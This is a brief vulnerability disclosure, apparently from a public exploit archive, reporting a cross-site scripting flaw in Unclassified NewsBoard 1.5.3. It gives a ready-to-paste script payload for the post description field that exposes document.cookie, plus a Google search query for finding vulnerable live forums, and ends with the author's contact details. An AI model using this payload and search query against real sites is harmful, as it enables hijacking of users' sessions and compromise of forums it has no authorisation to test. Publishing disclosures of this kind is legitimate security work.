UNB 1.5.3 cross site scripting

software: http://newsboard.unclassified.de/


when you post a message try this in description field:
</div><script>alert(document.cookie)</script>


googledork: "Unclassified NewsBoard" inurl:forum.php

rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it